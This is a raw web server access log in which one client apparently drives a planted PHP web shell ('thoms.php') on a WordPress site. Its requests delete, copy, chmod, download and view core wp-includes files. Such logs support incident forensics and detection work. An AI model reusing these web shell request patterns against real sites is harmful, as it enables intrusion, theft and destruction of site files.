45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?del=bookmark.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57886 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?dl=formatting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?del=post-formats.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-requests.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-requests.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13337 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22653 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13326 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?del=feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24008 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:23 -0400] "GET /thoms.php?dl=theme-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57755 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49582 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?dl=feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20170 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?del=meta.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?del=meta.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:24 -0400] "GET /thoms.php?del=cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57693 "http://163.245.207.76:443/thoms.php?del=cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?chmod=template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?chmod=PHPMailer&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14308 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32885 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fvars.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fvars.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:25 -0400] "GET /thoms.php?dl=style-engine.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57921 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?del=block-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?del=ms-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15142 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 11969 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12019 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21770 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?del=class-wp-user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?dl=fonts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?dl=bookmark.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:27 -0400] "GET /thoms.php?dl=category-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fformatting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fformatting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?chmod=admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?del=json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?del=ms-files.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?del=capabilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:28 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fregistration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fregistration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13890 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?dl=template-canvas.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?dl=class-wp-error.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13493 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:29 -0400] "GET /thoms.php?del=theme.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=theme.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14656 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57838 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 11981 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?dl=blocks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:30 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23692 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
